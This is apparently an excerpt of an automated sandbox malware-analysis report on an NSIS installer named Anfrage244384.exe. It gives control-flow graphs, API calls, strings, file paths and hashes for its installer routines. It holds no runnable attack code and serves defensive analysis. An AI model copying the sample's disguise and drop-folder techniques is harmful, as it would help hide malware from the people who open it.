                                                          control_flow_graph 250 403ad5-403ae7 251 403c28-403c37 250->251 252 403aed-403af3 250->252 254 403c86-403c9b 251->254 255 403c39-403c81 GetDlgItem * 2 call 403fa8 SetClassLongA call 40140b 251->255 252->251 253 403af9-403b02 252->253 258 403b04-403b11 SetWindowPos 253->258 259 403b17-403b1a 253->259 256 403cdb-403ce0 call 403ff4 254->256 257 403c9d-403ca0 254->257 255->254 272 403ce5-403d00 256->272 261 403ca2-403cad call 401389 257->261 262 403cd3-403cd5 257->262 258->259 264 403b34-403b3a 259->264 265 403b1c-403b2e ShowWindow 259->265 261->262 283 403caf-403cce SendMessageA 261->283 262->256 271 403f75 262->271 267 403b56-403b59 264->267 268 403b3c-403b51 DestroyWindow 264->268 265->264 275 403b5b-403b67 SetWindowLongA 267->275 276 403b6c-403b72 267->276 273 403f52-403f58 268->273 280 403f77-403f7e 271->280 278 403d02-403d04 call 40140b 272->278 279 403d09-403d0f 272->279 273->271 284 403f5a-403f60 273->284 275->280 281 403c15-403c23 call 40400f 276->281 282 403b78-403b89 GetDlgItem 276->282 278->279 286 403f33-403f4c DestroyWindow EndDialog 279->286 287 403d15-403d20 279->287 281->280 289 403ba8-403bab 282->289 290 403b8b-403ba2 SendMessageA IsWindowEnabled 282->290 283->280 284->271 292 403f62-403f6b ShowWindow 284->292 286->273 287->286 288 403d26-403d73 call 405de5 call 403fa8 * 3 GetDlgItem 287->288 320 403d75-403d7a 288->320 321 403d7d-403db9 ShowWindow KiUserCallbackDispatcher call 403fca EnableWindow 288->321 294 403bb0-403bb3 289->294 295 403bad-403bae 289->295 290->271 290->289 292->271 299 403bc1-403bc6 294->299 300 403bb5-403bbb 294->300 298 403bde-403be3 call 403f81 295->298 298->281 303 403bfc-403c0f SendMessageA 299->303 305 403bc8-403bce 299->305 300->303 304 403bbd-403bbf 300->304 303->281 304->298 308 403bd0-403bd6 call 40140b 305->308 309 403be5-403bee call 40140b 305->309 316 403bdc 308->316 309->281 318 403bf0-403bfa 309->318 316->298 318->316 320->321 324 403dbb-403dbc 321->324 325 403dbe 321->325 326 403dc0-403dee GetSystemMenu EnableMenuItem SendMessageA 324->326 325->326 327 403df0-403e01 SendMessageA 326->327 328 403e03 326->328 329 403e09-403e42 call 403fdd call 405dc3 lstrlenA call 405de5 SetWindowTextA call 401389 327->329 328->329 329->272 338 403e48-403e4a 329->338 338->272 339 403e50-403e54 338->339 340 403e73-403e87 DestroyWindow 339->340 341 403e56-403e5c 339->341 340->273 342 403e8d-403eba CreateDialogParamA 340->342 341->271 343 403e62-403e68 341->343 342->273 344 403ec0-403f17 call 403fa8 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 342->344 343->272 345 403e6e 343->345 344->271 350 403f19-403f31 ShowWindow call 403ff4 344->350 345->271 350->273
                                                          APIs
                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B11
                                                          • ShowWindow.USER32(?), ref: 00403B2E
                                                          • DestroyWindow.USER32 ref: 00403B42
                                                          • SetWindowLongA.USER32(?,00000000,00000000), ref: 00403B5E
                                                          • GetDlgItem.USER32(?,?), ref: 00403B7F
                                                          • SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403B93
                                                          • IsWindowEnabled.USER32(00000000), ref: 00403B9A
                                                          • GetDlgItem.USER32(?,00000001), ref: 00403C48
                                                          • GetDlgItem.USER32(?,00000002), ref: 00403C52
                                                          • SetClassLongA.USER32(?,000000F2,?), ref: 00403C6C
                                                          • SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403CBD
                                                          • GetDlgItem.USER32(?,00000003), ref: 00403D63
                                                          • ShowWindow.USER32(00000000,?), ref: 00403D84
                                                          • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D96
                                                          • EnableWindow.USER32(?,?), ref: 00403DB1
                                                          • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DC7
                                                          • EnableMenuItem.USER32(00000000), ref: 00403DCE
                                                          • SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403DE6
                                                          • SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403DF9
                                                          • lstrlenA.KERNEL32(0042A868,?,0042A868,Berny Setup), ref: 00403E22
                                                          • SetWindowTextA.USER32(?,0042A868), ref: 00403E31
                                                          • ShowWindow.USER32(?,0000000A), ref: 00403F65
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                                          • String ID: Berny Setup
                                                          • API String ID: 3282139019-2516294091
                                                          • Opcode ID: da448d94bc17f5267805ab40a90d87622891c5bcd4f6a4fe796976a1d19e5176
                                                          • Instruction ID: dc7e82238fa4606f4707b849198a3fa7e113026ae2232510f5cb024fb41842d5
                                                          • Opcode Fuzzy Hash: da448d94bc17f5267805ab40a90d87622891c5bcd4f6a4fe796976a1d19e5176
                                                          • Instruction Fuzzy Hash: 89C1AF71604605ABDB206F22EE45E2B3EBCEB4570AF40053EF642B11F1CB79A942DB1D
                                                          Function 00403743 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215stringregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 353 403743-40375b call 40615c 356 40375d-40376d call 405d21 353->356 357 40376f-4037a0 call 405caa 353->357 366 4037c3-4037ec call 403a08 call 405923 356->366 362 4037a2-4037b3 call 405caa 357->362 363 4037b8-4037be lstrcatA 357->363 362->363 363->366 371 4037f2-4037f7 366->371 372 403873-40387b call 405923 366->372 371->372 374 4037f9-403811 call 405caa 371->374 378 403889-4038ae LoadImageA 372->378 379 40387d-403884 call 405de5 372->379 377 403816-40381d 374->377 377->372 380 40381f-403821 377->380 382 4038b0-4038e0 RegisterClassA 378->382 383 40392f-403937 call 40140b 378->383 379->378 384 403832-40383e lstrlenA 380->384 385 403823-403830 call 405860 380->385 386 4038e6-40392a SystemParametersInfoA CreateWindowExA 382->386 387 4039fe 382->387 396 403941-40394c call 403a08 383->396 397 403939-40393c 383->397 391 403840-40384e lstrcmpiA 384->391 392 403866-40386e call 405835 call 405dc3 384->392 385->384 386->383 390 403a00-403a07 387->390 391->392 395 403850-40385a GetFileAttributesA 391->395 392->372 399 403860-403861 call 40587c 395->399 400 40385c-40385e 395->400 406 403952-40396c ShowWindow call 4060ee 396->406 407 4039d5-4039dd call 4050ae 396->407 397->390 399->392 400->392 400->399 412 403978-40398a GetClassInfoA 406->412 413 40396e-403973 call 4060ee 406->413 414 4039f7-4039f9 call 40140b 407->414 415 4039df-4039e5 407->415 418 4039a2-4039c5 DialogBoxParamA call 40140b 412->418 419 40398c-40399c GetClassInfoA RegisterClassA 412->419 413->412 414->387 415->397 420 4039eb-4039f2 call 40140b 415->420 424 4039ca-4039d3 call 403693 418->424 419->418 420->397 424->390
                                                          APIs
                                                            • Part of subcall function 0040615C: GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                            • Part of subcall function 0040615C: GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                          • lstrcatA.KERNEL32(1033,0042A868,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A868,00000000,00000002,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Anfrage244384.exe",00000000), ref: 004037BE
                                                          • lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\secretaryships,1033,0042A868,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A868,00000000,00000002,74DF3410), ref: 00403833
                                                          • lstrcmpiA.KERNEL32(?,.exe), ref: 00403846
                                                          • GetFileAttributesA.KERNEL32(Call), ref: 00403851
                                                          • LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\secretaryships), ref: 0040389A
                                                            • Part of subcall function 00405D21: wsprintfA.USER32 ref: 00405D2E
                                                          • RegisterClassA.USER32(0042EBA0), ref: 004038D7
                                                          • SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004038EF
                                                          • CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403924
                                                          • ShowWindow.USER32(00000005,00000000), ref: 0040395A
                                                          • GetClassInfoA.USER32(00000000,RichEdit20A,0042EBA0), ref: 00403986
                                                          • GetClassInfoA.USER32(00000000,RichEdit,0042EBA0), ref: 00403993
                                                          • RegisterClassA.USER32(0042EBA0), ref: 0040399C
                                                          • DialogBoxParamA.USER32(?,00000000,00403AD5,00000000), ref: 004039BB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                                          • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\secretaryships$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                                          • API String ID: 1975747703-1004654911
                                                          • Opcode ID: a076f8ec2402cbae9f3fe9b816078eb7bdbed0063d8e43fd154ff60ee66dea9a
                                                          • Instruction ID: b4fd17e6ad5735db6f0d6fe5a96b28392e8485eca6c7d92ade12033e63288973
                                                          • Opcode Fuzzy Hash: a076f8ec2402cbae9f3fe9b816078eb7bdbed0063d8e43fd154ff60ee66dea9a
                                                          • Instruction Fuzzy Hash: C261D8716446407ED720BF669D45F273EACDB54749F80447FF941B22E2CBBC99028A2D
                                                          Function 00402CFA Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 427 402cfa-402d48 GetTickCount GetModuleFileNameA call 405a36 430 402d54-402d82 call 405dc3 call 40587c call 405dc3 GetFileSize 427->430 431 402d4a-402d4f 427->431 439 402d88 430->439 440 402e6f-402e7d call 402c96 430->440 432 402f2c-402f30 431->432 442 402d8d-402da4 439->442 446 402ed2-402ed7 440->446 447 402e7f-402e82 440->447 444 402da6 442->444 445 402da8-402db1 call 403145 442->445 444->445 454 402db7-402dbe 445->454 455 402ed9-402ee1 call 402c96 445->455 446->432 449 402e84-402e9c call 40315b call 403145 447->449 450 402ea6-402ed0 GlobalAlloc call 40315b call 402f33 447->450 449->446 478 402e9e-402ea4 449->478 450->446 476 402ee3-402ef4 450->476 456 402dc0-402dd4 call 4059f1 454->456 457 402e3a-402e3e 454->457 455->446 465 402e48-402e4e 456->465 474 402dd6-402ddd 456->474 464 402e40-402e47 call 402c96 457->464 457->465 464->465 467 402e50-402e5a call 4061d1 465->467 468 402e5d-402e67 465->468 467->468 468->442 475 402e6d 468->475 474->465 480 402ddf-402de6 474->480 475->440 481 402ef6 476->481 482 402efc-402f01 476->482 478->446 478->450 480->465 483 402de8-402def 480->483 481->482 484 402f02-402f08 482->484 483->465 485 402df1-402df8 483->485 484->484 486 402f0a-402f25 SetFilePointer call 4059f1 484->486 485->465 487 402dfa-402e1a 485->487 490 402f2a 486->490 487->446 489 402e20-402e24 487->489 491 402e26-402e2a 489->491 492 402e2c-402e34 489->492 490->432 491->475 491->492 492->465 493 402e36-402e38 492->493 493->465
                                                          APIs
                                                          • GetTickCount.KERNEL32 ref: 00402D0B
                                                          • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Anfrage244384.exe,00000400), ref: 00402D27
                                                            • Part of subcall function 00405A36: GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405A3A
                                                            • Part of subcall function 00405A36: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                          • GetFileSize.KERNEL32(00000000,00000000,00437000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage244384.exe,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00402D73
                                                          Strings
                                                          • "C:\Users\user\Desktop\Anfrage244384.exe", xrefs: 00402CFA
                                                          • Inst, xrefs: 00402DDF
                                                          • Null, xrefs: 00402DF1
                                                          • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402ED2
                                                          • C:\Users\user\Desktop\Anfrage244384.exe, xrefs: 00402D11, 00402D20, 00402D34, 00402D54
                                                          • soft, xrefs: 00402DE8
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00402D01
                                                          • C:\Users\user\Desktop, xrefs: 00402D55, 00402D5A, 00402D60
                                                          • Error launching installer, xrefs: 00402D4A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: File$AttributesCountCreateModuleNameSizeTick
                                                          • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Anfrage244384.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
                                                          • API String ID: 4283519449-3349572661
                                                          • Opcode ID: ff9acb172ce84b9ab5053db9bc38736bf02bbbb4910f3b2cd7bac771f2685801
                                                          • Instruction ID: d5918a9216ca672954190790a9c5efd9bc82950644bb13a7859279fc2a8a748f
                                                          • Opcode Fuzzy Hash: ff9acb172ce84b9ab5053db9bc38736bf02bbbb4910f3b2cd7bac771f2685801
                                                          • Instruction Fuzzy Hash: 9F51EB71940215ABDB20AF64DE89B9F7BB8EB14355F50403BF900B72D1C7B88D858BAD
                                                          Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147stringtimeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 825 401759-40177c call 402ace call 4058a2 830 401786-401798 call 405dc3 call 405835 lstrcatA 825->830 831 40177e-401784 call 405dc3 825->831 836 40179d-4017a3 call 40602e 830->836 831->836 841 4017a8-4017ac 836->841 842 4017ae-4017b8 call 4060c7 841->842 843 4017df-4017e2 841->843 850 4017ca-4017dc 842->850 851 4017ba-4017c8 CompareFileTime 842->851 845 4017e4-4017e5 call 405a11 843->845 846 4017ea-401806 call 405a36 843->846 845->846 853 401808-40180b 846->853 854 40187e-4018a7 call 404fdc call 402f33 846->854 850->843 851->850 855 401860-40186a call 404fdc 853->855 856 40180d-40184f call 405dc3 * 2 call 405de5 call 405dc3 call 4055b9 853->856 868 4018a9-4018ad 854->868 869 4018af-4018bb SetFileTime 854->869 866 401873-401879 855->866 856->841 889 401855-401856 856->889 870 402967 866->870 868->869 872 4018c1-4018cc CloseHandle 868->872 869->872 873 402969-40296d 870->873 875 4018d2-4018d5 872->875 876 40295e-402961 872->876 878 4018d7-4018e8 call 405de5 lstrcatA 875->878 879 4018ea-4018ed call 405de5 875->879 876->870 883 4018f2-4022e2 call 4055b9 878->883 879->883 883->873 889->866 891 401858-401859 889->891 891->855
                                                          APIs
                                                          • lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\secretaryships\Khami,00000000,00000000,00000031), ref: 00401798
                                                          • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\secretaryships\Khami,00000000,00000000,00000031), ref: 004017C2
                                                            • Part of subcall function 00405DC3: lstrcpynA.KERNEL32(?,?,00000400,00403251,Berny Setup,NSIS Error), ref: 00405DD0
                                                            • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0042A048,00000000,0041C020,74DF23A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                            • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,74DF23A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                            • Part of subcall function 00404FDC: lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,74DF23A0), ref: 00405038
                                                            • Part of subcall function 00404FDC: SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                          • String ID: C:\Users\user\AppData\Local\Temp\nsq755.tmp$C:\Users\user\AppData\Local\Temp\nsq755.tmp\System.dll$C:\Users\user\AppData\Roaming\secretaryships\Khami$Call
                                                          • API String ID: 1941528284-346601658
                                                          • Opcode ID: dbd51bdbfd1ce860f4c1c765c855f49dbf4a1797cd8297ab6e253aaa72fcfa08
                                                          • Instruction ID: 615a3562c55b05fa993605831867e42c155a1137a6b97b034e6d1829953e469f
                                                          • Opcode Fuzzy Hash: dbd51bdbfd1ce860f4c1c765c855f49dbf4a1797cd8297ab6e253aaa72fcfa08
                                                          • Instruction Fuzzy Hash: E541D572910515BBCF107BB5DC49EAF3679EF05368F20823BF121B20E1D67C8A518A6D
                                                          Function 00402F33 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 892 402f33-402f47 893 402f50-402f59 892->893 894 402f49 892->894 895 402f62-402f67 893->895 896 402f5b 893->896 894->893 897 402f77-402f84 call 403145 895->897 898 402f69-402f72 call 40315b 895->898 896->895 902 403133 897->902 903 402f8a-402f8e 897->903 898->897 904 403135-403136 902->904 905 402f94-402fdd GetTickCount 903->905 906 4030de-4030e0 903->906 909 40313e-403142 904->909 910 402fe3-402feb 905->910 911 40313b 905->911 907 403120-403123 906->907 908 4030e2-4030e5 906->908 912 403125 907->912 913 403128-403131 call 403145 907->913 908->911 914 4030e7 908->914 915 402ff0-402ffe call 403145 910->915 916 402fed 910->916 911->909 912->913 913->902 926 403138 913->926 919 4030ea-4030f0 914->919 915->902 925 403004-40300d 915->925 916->915 922 4030f2 919->922 923 4030f4-403102 call 403145 919->923 922->923 923->902 929 403104-403110 call 405add 923->929 928 403013-403033 call 40623f 925->928 926->911 934 4030d6-4030d8 928->934 935 403039-40304c GetTickCount 928->935 936 403112-40311c 929->936 937 4030da-4030dc 929->937 934->904 938 403091-403093 935->938 939 40304e-403056 935->939 936->919 940 40311e 936->940 937->904 943 403095-403099 938->943 944 4030ca-4030ce 938->944 941 403058-40305c 939->941 942 40305e-40308e MulDiv wsprintfA call 404fdc 939->942 940->911 941->938 941->942 942->938 947 4030b0-4030bb 943->947 948 40309b-4030a2 call 405add 943->948 944->910 945 4030d4 944->945 945->911 950 4030be-4030c2 947->950 952 4030a7-4030a9 948->952 950->928 953 4030c8 950->953 952->937 954 4030ab-4030ae 952->954 953->911 954->950
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CountTick$wsprintf
                                                          • String ID: TA$ TA$... %d%%$;mA
                                                          • API String ID: 551687249-2794615820
                                                          • Opcode ID: 205d5d13d599fec26c2c222d56ddb78c5c9a5f9a8d28ce79d18f424d9808a9fb
                                                          • Instruction ID: 17fda0b725f1c36f5789cb51541ed76e7f3e8dd53de897cd261334f9a9fb1752
                                                          • Opcode Fuzzy Hash: 205d5d13d599fec26c2c222d56ddb78c5c9a5f9a8d28ce79d18f424d9808a9fb
                                                          • Instruction Fuzzy Hash: 4F519D71901219DBCB10DF65DA44B9E7BB8EF08366F10813BE810B72D0D7789A41CBAD
                                                          Function 004054A2 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 955 4054a2-4054ed CreateDirectoryA 956 4054f3-405500 GetLastError 955->956 957 4054ef-4054f1 955->957 958 40551a-40551c 956->958 959 405502-405516 SetFileSecurityA 956->959 957->958 959->957 960 405518 GetLastError 959->960 960->958
                                                          APIs
                                                          • CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054E5
                                                          • GetLastError.KERNEL32 ref: 004054F9
                                                          • SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 0040550E
                                                          • GetLastError.KERNEL32 ref: 00405518
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 004054C8
                                                          • C:\Users\user\Desktop, xrefs: 004054A2
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                          • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
                                                          • API String ID: 3449924974-2028306314
                                                          • Opcode ID: 45a109fca96412ce29b98a5dc57c77bd9b21184e8ca6d4253022bd40daed81d6
                                                          • Instruction ID: 8f3a1ad4c11c26192a8320527681c6b281dda8cd8d23604747c1fe251039353f
                                                          • Opcode Fuzzy Hash: 45a109fca96412ce29b98a5dc57c77bd9b21184e8ca6d4253022bd40daed81d6
                                                          • Instruction Fuzzy Hash: 2101E571D10619EADF119FA4CA047EFBFB8EB14355F00403AD945B6180D77896488FA9
                                                          Function 004060EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 961 4060ee-40610e GetSystemDirectoryA 962 406110 961->962 963 406112-406114 961->963 962->963 964 406124-406126 963->964 965 406116-40611e 963->965 967 406127-406159 wsprintfA LoadLibraryExA 964->967 965->964 966 406120-406122 965->966 966->967
                                                          APIs
                                                          • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406105
                                                          • wsprintfA.USER32 ref: 0040613E
                                                          • LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406152
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DirectoryLibraryLoadSystemwsprintf
                                                          • String ID: %s%s.dll$UXTHEME$\
                                                          • API String ID: 2200240437-4240819195
